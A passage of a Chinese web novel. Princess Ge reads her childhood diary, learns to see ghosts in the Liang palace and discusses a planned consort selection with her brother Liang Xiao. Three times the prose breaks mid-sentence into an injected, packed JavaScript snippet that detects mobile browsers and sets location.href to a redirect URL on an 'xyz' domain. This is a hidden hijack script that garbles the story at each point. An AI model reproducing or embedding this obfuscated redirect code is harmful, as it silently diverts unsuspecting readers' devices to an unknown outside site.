箱子上的铜扣搭着,连把锁也没有。我从箱子外表看不出里面有什么玄机,好奇地打开,原以为里面装着什么宝贝,打开一看,不过几本册子,一摞书信。 拿开压在纸张上的青色扁石,我翻开第一本册子,上面是童稚但努力写得端正的字迹。 “寂石录?” 我忍不住把那名字念了出来。 何谓寂石? 册子第一页,童稚的笔迹继续写道—— “我初至昆仑山时,风雪侵窗,夜深难寐。逢将寝,白鸟上师每以神怪之说安我,我故闻寂石之事,听之有所感。我尝与兄长同得梁宫太傅授课,太傅言君子如玉,我心有惑,问之曰,‘然我本女儿,何与君子谋?’。太傅不答。而今我惑顿消。寂石者,天地初开,最早之造物也,性静自得,寿延千载。纵沧海桑田,东海扬尘,石犹在也。阿母赠我名曰葛,葛者,常见之物也,葛石同生,皆为天地之造物也。君子如玉好雕琢,而我为石,亦何如?故撰《寂石录》,以记之。” 往后翻,里面写的事无巨细,全是这个女童来昆仑之后所经历的事情的记录,而这个女童,就是我自己。 梅雪上师说:“你自幼时便为自己执笔撰书,起初以为是你天性好弄笔墨,如今想来,自有用意。” 她捧着茶杯,微微笑着,浅抿一口。 我说:“上师,我现在越来越糊涂了。” “遵循本心而已,又有什么糊涂的?我等你再来见我。” 雨停了,我将木箱抱了回去,读了整整一夜,读完后,我吹熄烛火,月光下芭蕉叶的影子落在窗前地砖上。 如果忘记了过去的事,我还是昨日的我吗?这曾是我心头挥之不去的疑惑。 而这个箱子里,曾经的我所写下的一切,似乎正是为了回答我,我如何成为今日我。 望着窗外月色,我忽生释然之意。 沧海桑田,东海扬尘,我甘为石矣。 梁宫又算得了什么呢?千年万年后,这偌大的梁宫不过剩一堆破石头,曾居于此的人,也早就湮没成尘了。 我杀魔的命又为了什么? 我曾赠人以命,与其说为了天下人,不如说为了那一人。 隔日,我再见到梅雪上师,对她郑重行了师礼:“请老师再教我。” 她扶我起身,问:“你想明白了?” “徒儿愿再入道。” 梅雪上师说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660325|156720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “时间不多了,那我便着紧再授你一回。你六岁入昆仑,坐悟一年,方有小得。如今你不记前尘,反而让你灵台清明,我授你以眼,望此后你用这双眼睛得观万物,窥万象,见本心。” 她微带凉意的手掌覆在我的眼睛上,浅淡的凉意从我的眼皮渗入,如一缕冷泉,流入我心口。 片刻,手拿开,我睁开眼睛,眼前还是梅雪上师那张不见山水的脸。 她两手叠置腹前,和衣在榻上躺下,阖上眼:“你去吧,我要歇息了。” 我站在榻边,踌躇着问:“我还有一惑。” “说。” “若是我当日应您所言,不返梁京,又当如何?” “不如何,那就回昆仑继续悟道,书阁的旧卷誊录到一半,白鸟前几日还来信问我要人,你随时可以回去。” 千头万绪,迷惘被感动替代,我扑到梅雪上师身上小哭了一阵。 哭完起身,梅雪上师擦了擦衣袍上的泪斑,疲倦挥袖:“行了,去吧,我真困了。” 我走到门边,回头一看,梅雪上师躺在榻上静悄悄的。 十分小心地,我踮脚走回榻边,等看到梅雪上师呼吸静谧,似是已入梦境,我才放下心。 我走到房外带上门,绿朱在外面扒着窗不知道在看什么,见到我,惊喜大叫:“公主你回来了?!” “嘘!” 我把她远远拉到一边,对她上看下看,完了叹道:“也没看出来什么不同啊。” 喀嚓,旁边传来木裂声,梦陵师姐正在劈柴——用她那把精心擦拭干净的剑。 她一脚踢起木堆中的一块木材,待木材凌空,挥剑一劈,喀嚓,木材裂成均匀的两块,掉在地上,她再把它捡起扔到竹筐里。 她说:“师妹,我当年可是拿剑劈了三年的柴,梅雪上师才答应收我为徒,你就别管那么多了,这就是昆仑的道,上师自有她的道理。” 我问她:“师姐,白鸟上师又是哪位?” 梦陵师姐擦汗望天:“完咯,你连白鸟上师都记不得了,等她见到你怕不是要抱着你哭。” 我也只装作无辜,毕竟我这失忆之疾可是连医圣凤尽寒也诊治不出来的。 说起来,我昨天还在那几册《寂石录》里看到了凤尽寒的名字。他原来也在昆仑待了几年,之后不知为何离开了,我在册子里涕泗横流,难过得不轻。 过去种种于我倒真如前尘往事了,如今看来一如泡影。 前路如何,我要用这双眼睛自己去看,而用这双眼睛能看到什么?夕阳灿烂的天穹下连接着梁宫雄伟的轮廓,这要躬身入局才能知了。 20. 窥道(二) 梁朝女子十六岁及笄,我是冬月出生,今年年初已经十六岁了。 及笄代表着我可以选驸马了,贵妃娘娘这样告诉我。 我问她为什么要选驸马。 她说:“你是大梁的公主,公主在成年后挑选自己的驸马,是再正常不过的事,过几日陛下在琼林设宴,到时梁京的好男儿都在了,你定能从中觅得如意郎君。” 如意郎君? 我躺在水殿的竹榻上打着团扇,细细品味着这个词。如意如意,如何才算如意? 想不明白,我问道:“如意郎君有什么用的?” 贵妃娘娘让我逗笑了,说:“难道还不嫁人了?” 我翻身,手托着下巴,看向半躺在美人榻上假寐的娘娘。 贤贵妃娘娘实在是个顶顶的美人,一张圆面珠玉生辉,连垂在榻边的半截手都像羊脂玉捏成的。 就像……一只油光水滑的白猫。 我心头突然生出这样的想法。 这么想着,眼见那猫伸展腰肢,张开大嘴露出尖牙打了个哈欠,贵妃娘娘放下掩唇的绢扇,拈起碟里的荷花莲子糕咬了口,恹恹放回去。天气太热了。 见我一直呆呆看着她,她问:“怎么一直瞧我?” 我发自肺腑地感叹:“娘娘实乃天人之姿。” 贵妃娘娘笑得乐不可支:“公主今日只尝了些莲子糕,怎么嘴甜得像抹了蜜?” 自那日在正德殿与贤贵妃打过照面后,她时常邀我去她宫中饮茶消暑,她宫里茶点做得极不错,一来二去,我与她日渐熟络了。 闲聊间,乳母将艾儿抱了过来,小孩子在襁褓里咿咿呀呀,贵妃倚在榻上伸出手指逗弄她的短下巴,手势亦像极了逗猫。 大猫和小猫。 我心里发笑,怎会是这样? 梁朝贵妃,竟然是猫变的。 我和梅雪上师说起这件新看到的奇事,梅雪上师不甚惊讶,只问:“除了猫妖,还看到了什么?” “鬼,我还看到宫里有很多鬼。” 一团一团幽蓝的鬼火静静的浮在空中,要走得近极了,才能看到躲在火光后的脸。花园间,池塘边,宫殿里,楼阁上,在夜里都浮动着暗暗的火光,晚上行走连灯笼都不用打了。 梅雪上师说:“人死后要入鬼域等轮回,入不了鬼域,就只能以魂魄之身游荡世间。梁宫正是收容了许多无依魂魄的地方,你看到了。” 我问:“为什么会入不了鬼域?” “若非尘念未散,便是鬼域难收,游荡久了,就魂飞魄散了。” 还怪可怜的。 我急着问:“那母亲如今已入了轮回了吗?” 梅雪上师没答我,又要我自己去看。 又要看! 我已饿急了,没空现在看,外面师姐下厨做了槐叶冷淘,我跟着去厨房吃了两筷子,眼看时间晚了,我擦擦嘴赶紧回去宫里。 回去一看,哥哥还没回来。 见天边霞光灿烂,晚风徐徐,我心头一动:“那我去等他吧!” 吴公公无奈地应下了。 在宫里行走,有点身份的人都声势浩大。哥哥是,父皇是,贤贵妃娘娘也是,还没见到正主,远远就能看见一队人。 我不喜欢这么大的阵仗,除了绿朱,谁也不要,平日里拿牌子出宫,也只要绿朱和我一道。 吴公公看我一回来又说要出去,忙叫了几个小宫女小太监跟上来,我知道说了也没用,只能换来吴公公一张老苦瓜脸,就让这些人跟着了。 我脚步轻快,走在前面,日暮时分的梁宫笼罩在一层淡紫的薄纱下,颜色恰似今日我臂间挽着的紫纱,我原本还嫌累赘,见挽着好看,也就高高兴兴地穿起来了。 夏日天黑得晚,我爬上东华门城楼时天还没黑得完全,这里离东宫近,哥哥晚归东宫时一般会从这个门过。 城楼上,汉白玉栏杆沁凉,晚风吹动我臂间的纱,我眺望长街的方向。 天色近晚,天边霞光暗了,提灯宫女拿着火折子点燃了城楼上的四角宫灯。 忽然,长街远处出现了一列车马行伍,近了能看见马车上的金玉装饰。 我提裙快步下了城楼,赶在马车刚行过东华门时拦下了车驾。 马车上的人下来了,我笑说:“原是想登高赏霞,不曾想等到了太子殿下的大驾。” 刚说完头就被人敲了下。 “我以为你来是等我。” 梁萧今日穿着一身玉白色的衣衫,衬得面如冠玉,一头青丝只束发未加冠,我的哥哥还没到弱冠之年啊。 我笑着挽上他的手臂:“我当然是来等你的,等了好久,等到天都黑了呢。” 身边的随侍退远了,我们往东宫的方向走,我问他今天去了哪里,有没有发生什么好玩的事。 我说:“梁朝女子十六算是及笄成年,男子要二十才行冠礼算是成年。我成年了,你尚未成年,为什么要你是哥哥呢?” “有哥哥不好么,阿葛,我对你不好么?” 梁萧看着我,君子如玉啊,庄重的眼神看得我心虚。 我呐呐:“倒也不是这个意思……” 他忽笑了,替我把一缕头发拨开,说:“今日有人送我了方好玉料,拿来给你打副镯子可好?” 我伸出手腕看了看:“镯子不要,做个别的什么吧。”想了会儿,“雕个玉佩,替我送去有虞,要凤凰纹饰的。” “好。” 聊着闲话,我跟他说起这几日去贤贵妃娘娘宫中玩,见她宫中养了一池子花花绿绿的鲤鱼,个个喂得膘肥体壮。 “我从来没见过那么肥的鱼,一条能抵未央湖里两条呢!” 梁萧说:“那鱼本是数年前小国进贡的,父皇赏给贤妃,让贤妃好生养着,看来养出了一副憨态。” 走过一桥流水,遥遥看见东宫殿顶,我忽又生出别的心思,说:“左右今日没别的事,回去也是闷热,不如秉烛夜游。” 我接过引路宫女手里的宫灯,提着灯,我们往未央湖的方向走去。 行走间,路旁一朵鬼火一直幽幽跟随着,就映在梁萧的手臂旁,他当然是看不到的,我伸手戳过去,那团蓝火挪开一些,不一会儿又凑上前来,像小狗儿一样嗅闻着人的衣边。 我拉着梁萧往旁边走,他不明所以,我于是凑在他耳边小声说:“有鬼。” 他生了一双酷肖母亲的丹凤眼,笑时三分多情,不笑时有霜雪冷艳,此时睁圆了,别有生趣,我被逗笑了,才告诉他我近日跟梅雪上师学了点新本事。 “现在我这双眼睛啊,能看到世上的鬼,”我故意神秘兮兮的,“哥哥你知道吗?梁宫里有好多鬼,现在我们身边就围着有好多鬼。” 他说:“鬼从何来?” “梅雪上师说人死后若是尘念未散,或是鬼域不收,就会变成游荡在世间的鬼。” “如是这般,宫中枉死之人众多,理应有众多鬼,”他想了想方说,“想来这些鬼也不能像话本中的那些厉鬼索人性命,不然宫中怕要永无宁日了。” “你还看话本?!” 他失笑:“不然你以为我只会看折子?” 这大大出乎我的意料了!以至于我一下子想不出什么俏皮话。 “梁宫这么可怕?” 他叹道:“我曾经无比感激自己能有一个妹妹,即便那时你在千里之遥的昆仑,一想到世间有你的存在,我便觉得在这宫中生活也不是什么可怖的事情了。” “你是太子啊,哥哥,你会害怕什么呢?” 暗蓝的火光照着他的面庞,他垂着眼睛。 “太子只是一个身份,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14681040|156720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以是梁萧,也可以是任何人。也许有一天,父皇会废了我,那时我就只是梁萧了。” “父皇为什么要这么做?” “阿葛,你不懂父皇是一个怎样的人,我希望你不要离他太近。” 我不懂,我想起那只软得像泥的手,于是抓起梁萧的手,我摸到上面虎口和关节处的茧子。 “你和父皇的手一点都不一样。” 这只有茧的手反过来牵住我,他牢牢牵着,不再说话。 提着灯笼,我们走到了未央宫门前。如今的未央宫已是一座空殿,茂盛草木掩着幽深的庭院,在夜色里是一叠叠深色的影子。 我们不约而同停下了脚步,我微微挺起胸膛,说:“我们来找一找吧,哥哥。” 踏进未央宫宫门,落脚松软,低头一看,石砖缝隙里已生出了野草。 上次来的时候有吗? 记不清了。 上次来还是我刚回来时,虽然日日住在梁宫,每经过未央湖,看见湖边宫殿的轮廓,我都要远远绕过去。 我也在害怕啊。 而此时此夜,我不再怕了,因为和哥哥一起。 四周有点点萤火浮动在草木间,一种深沉的凉意从宫殿木质的柱子里渗出来,我抚上柱子,似乎能听见里面缓沉的呼吸。 我仰头看向四方的夜空,夜空下,未央宫也在缓慢而沉稳地呼吸着,这是我从前听不到的。 有一点荧光落在了梁萧肩膀上,他偏头看去,笑了。 “你不记得了,你我儿时在未央宫里也常见到这样的萤虫,你见到总要去捉,捉不到还要抱着母妃哭闹,有一次,你要我帮你捉一只落在树上的萤虫,我从树上摔下来。” 他点了点下巴。 “这个疤就是那次留下的。” 我盯着那一点点月牙形状的浅疤左看右看,恍然大悟:“原来是这样!” “嗯?” “哥哥,说起来你可能不信,我在梦里见过母亲和你呢。” 我说起之前做过的那个旧梦,梁萧亦是恍惚:“我与你幼时同住未央宫,吃住都是在一块的,阿葛,原来你没忘,只是记不起来了。” 萤火相伴,我们提着宫灯走过未央宫的亭台楼阁,天地间只余我们两人。 暗夜里的宫殿有着别样的风致,这一切都太熟悉了,甚至不需要看清,闭着眼都知道下一步的落处,那一刻,我知道我确实没忘,我过往的记忆只是被封存起来了。 只是被封存的记忆还有解开的时刻,我不知道。 无人的住处总容易落满灰尘,未央宫却不是这样,主人的离去让这座宫殿陷入了一种别样的生机。 不再修剪的花木草丛疯长,树枝刺破窗纱探入殿中,殿内的杂物都被清走了,只留下基本的家具陈设,上面落满了如尘般的月光。 桌上的瓷瓶中插着一节枯老的梅枝。 见我目光流连,梁萧也注意到了这截梅枝,解释道:“是绿萼梅,母妃病时常以绿萼梅入药。” 什么都没有,未央宫里连鬼火也不曾见。 “看来母亲尘念散了,已经入轮回去了。”我颇为感伤。 梁萧说:“母妃是最疼爱你的,她不会愿意看到你难过,回去吧。” 我带走了那截枯梅枝。 走出未央宫时,夏夜的燥热嘈杂扑面而来,方才的未央宫安静得像另一个人间。 未央宫是一个人间,梁宫是另一个人间,梁宫外的梁京又是别样的人间。诚如《寂石录》中所载,人间界之外还有别的界。 这都是我见过却又遗忘的。 此刻,我忽想起《寂石录》中的记录——“昆仑之道,以眼观,以心感,明心见性,方初窥道矣。” 梅雪上师所说的昆仑悟道是怎样的事物,我今日算是有所领悟了。 21. 王母(一) 九月,临近中秋之际,梁王下旨,设宴琼林,邀朝廷上下一同赏画。 说是梁王闭关时,梦中有所得,出关后,苦思月余,终于把梦中所见画了下来。 要说画的什么东西,话又得说回元吉十八年初,梁王闭关三月这档子事了。 如今的梁王是梁朝开国以来的第三任皇帝。 先有梁武帝,一扫前朝乱,以武力平服了当今天下九州的混乱,后有梁文帝,秉承先帝遗志,偃武息戈,开创梁朝近三十年的盛世之治。 现在的梁朝人民提起前任文帝,都要敬一声老梁王,有老梁王在先,当今的梁王自然就叫小梁王了。 小梁王,小梁王,听起来就比老梁王矮了截,而事实亦如此。 时过境迁,梁朝人民幡然醒悟,人活在盛世通常是没有知觉的,直到太平的潮水退去,露出攒了一堆死鱼烂虾的浅滩,才知道,之前的好日子那是真好。 小梁王梁平宣的继位,宣告的便是梁朝人民好日子的终结。 要说这瘦死的骆驼比马大,开国武帝、先任文帝攒下的偌大家业也未尝不是小梁王依仗的靠山,怎奈何天不作美,小梁王上任以来,梁朝天灾连连,其中最凶险的一桩之一,就是元吉三年,梁京的饥荒。 先是从春以来的大旱。俗话说春雨贵如油,元吉二年,梁京大旱三月,田间地头寸草难生。 而后是夏季的水患。入夏后,骤雨至,一连下了月余,冲垮了河道的堤坝,良田尽毁。 到了秋天,农家颗粒无收,冬日里的荒情也就不足为奇了。 民间流言纷纷,小梁王上任,触怒天意,所以招此灾祸。小梁王梁平宣也是无辜,他压根没觉得这皇帝该他来当。 怪就怪文帝一口气生了六个女儿,三个儿子,前两个儿子还死了,最后这皇位如同天上掉馅饼一般砸到他嘴里。 天让他当皇帝,天又不让他这个皇帝好当。 他怨而问天,天不语,他遂向道。 这道啊,就是昆仑的道。 昆仑的道和梁朝皇帝有什么关系?这话又得说回到梁朝开国的时候。 梁朝开国结束了李唐后各政权割据的天下乱局,梁武帝此人像是从天而降的能士,起于青萍末,集兵士一路从陇右打到燕云——也就是如今的梁京地带,后各小国归顺,梁成一统。 人问武帝,何以有此志,武帝言:“尝有神女入我梦矣。” 梁武帝说的神女是谁,后世有争论,有人说是后来成为大梁两朝国师的灵均,也有人说是昆仑母神——西王母。 听到这里我插嘴:“若真有王母现世,为何托梦给武帝?换个更好的人托梦,说不定就不会有乱世这事了。” 梅雪上师说:“此乃武帝妄言。” 实情是当时的少年武帝已经集结了些人,在陇右地带打了几场小架,抢到些粮草和兵甲。 灵均上师那时自昆仑出世,想找个能扛起重任的人,前面找了几个人,没扛过都死了,武帝皮实,灵均上师就在梦里为他指向了燕云的方向。 我说:“原来如此,如果当时选了别人又如何?” 梅雪上师淡声道:“不过换一人任武帝而已。” 总之,灵均在那时就与武帝有了交集,后来梁建国,改燕京为梁京,定都于此,以师礼聘灵均为梁朝国师。 两朝国师,唯灵均一人。 “那昆仑的道又是什么道?”我问。 “昆仑的道就是世间的常,昆仑徒的授命,就是让世间的一切如常延续下去。凡有违此者,即背离了昆仑的道。” “若是背道又当如何?” “背道者,即陷无常。” 魔的现世会扰乱世间的常,所以我要杀魔。 我有些气闷:“我不知道梁萧如何会成魔,他是再好不过的人,也许是灵均上师错算了也说不准。” “我师从未错算。” 梅雪上师的目光已经移向窗外,看起来我该走了。 我将贴身携带的请柬放在桌上。 “这是过几日琼林宴的请柬,烦请您和师姐一道前往,同赏王母画像。” * 昨日,东宫偏殿中。 “什么画?” 我站直身子,展开双臂。贤贵妃娘娘派来的姑姑拿着木尺为我量体。 她量完我一边手臂,又去量另一边,口中说:“听说是皇上近日所作,足足画了月余。” 我遵照这位陈姑姑的要求,转过身子,问:“为什么要我也去?” 陈姑姑拿着拇指与小指在我腰上比量,量完再让一旁的宫女在册子上记下。 她说:“不光是公主要去,连梁京城里数得上名头的世家小姐都收到帖子了呢。” 我忽想起之前贤贵妃娘娘跟我说过,要在琼林宴上为我选驸马,我颇为头痛,看见边上宫女抱着的一溜儿五颜六色的缎子,我的头更痛了! 我一屁股在桌子边坐下,苏姑姑忙说:“公主等等,还没量完。” “不量了不量了,我有衣服穿。” “娘娘就知道公主会这么说,”苏姑姑掩唇笑道,“这些都是江南上贡来的新缎子,娘娘说要公主随意挑,一定要在琼林宴上大大方方的,让所有人都看惊了才好。” “让所有人都看惊了才好”这句想必是贤贵妃的原话,我都能想象出她说这话的神态,肯定是眯着眼,笑得像只得意的猫。 陈姑姑一再劝说,盛情难却,我最后选了一匹水红和一匹月白的缎子。那缎子摸上去柔滑无比,在光下露出鱼腹软鳞般的色泽,确是上上品。 缎子可以勉为其难收下,只是这驸马委实让人为难。 烦之又烦,我去找哥哥玩。 最近几日,他空闲许多,除了被父皇召去,多的时间留在东宫里。 我径直走入他书房,门口的小太监只仰头旁望,当没看见,连传话都省得了。 “哥哥,我不想要驸马!”我扬声道。 一进去,书房里一阵莺啼燕啭,叽叽喳喳的,不似常日里安静。 我看见书房向南的窗户开着,窗边站了一排鸟,梁萧握了捧小玩意儿正在那逗鸟。 我看了个新奇,走过去,凑近了那些鸟也不走,在窗前蹦来跳去。 窗边人着意逗弄其中一只有翠绿羽毛的翠鸟,那鸟也乖顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14766283|156720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,顺着那截白玉般的手指理毛。 见我前来,翠鸟往前跳了两步,往他手心里钻,他抚着翠鸟头顶的毛。 “你刚刚说什么驸马?” 我气恼道:“贤贵妃娘娘说父皇过几日在琼林设宴,是想给我选驸马!” 突然,那翠鸟被摸得一哆嗦,展翅欲飞,却慌不择路撞到了我身前,我不明所以,接住了它。 梁萧将手里的碎杏仁一把扬向窗外,群鸟一哄而散,他拿帕子擦手,淡淡道:“那你想要吗?” 我学着他的样,拿手指轻轻顺着它翠色的羽毛,撇嘴道:“我才不要。” 他笑了。 “那便无人可逼你。” “可父皇……” “就算是父皇。”他眸光浅淡,“那些寻常的世家男儿怎能与你相配,若父皇执意如此,那便只能杀之了。” 我略带疑惑地看着他。 “杀谁?” “自然是那些妄图近你身旁的无知鼠辈。” 我放下心:“我还以为你说杀……” 父皇。 不知为何,我下意识觉得他会说出这样的话。 我被这想法惊了一跳。 “哥哥。” 我拉他衣袖,如水一般的衣袖从我手里流走,他像没有感觉一样走去桌前,我跟在他后边。 “哥哥!” 我转到他身前去看他的表情,他不看我,抬手去抽书架上的书。我一手扯住他的袖子,一手抢过他想拿的书。 “你生气了?” “我为何要生气?” 书也不要了,他走到书桌前,拿笔架上的宣笔,提笔蘸墨,直到墨凝在笔尖,落下黑色一滴。 我抱着那本抢来的《战国策》站在书桌前,肯定道:“你生气了,因为我的驸马。” “你连开府建牙都不曾就想要驸马,不准。” “那,等我有公主府之后就能要驸马了吗?” “……” “而且又不是我说想要驸马,是父皇!你怎么连我的气也生上了。” 那支宣笔,握着它的手指紧了又紧,我以为就要摧折在他手里,最后只被如常放在青玉笔山上。 “我气,不为你。” 他玉山一样的眉目有了波折。 我说:“那是为何?我不要驸马,也不想要什么公主府,我留在这里只为你,我只想长长久久地和你在一起。” 恍惚间,他的目光变得温柔:“那阿葛,我是谁呢?” “你是哥哥啊。”我歪头看他。 他笑了声。 我察觉到我们之间还有没说明的部分,虽不是提前预备好的,但今日忽然有了坦白的时机。 于是,我说:“我早就知道了,梅雪上师都告诉我了。” “当我哥哥不好么,有我这个妹妹不好么?”我拉着他袖子摇了摇,“我们之间不会有别人,就算是驸马也不行。” “驸马,不准。” “好好好,没有驸马。” 说完,我嘟囔了句:“反正活不了几年。” 什么驸马不驸马的,人一死都拉倒!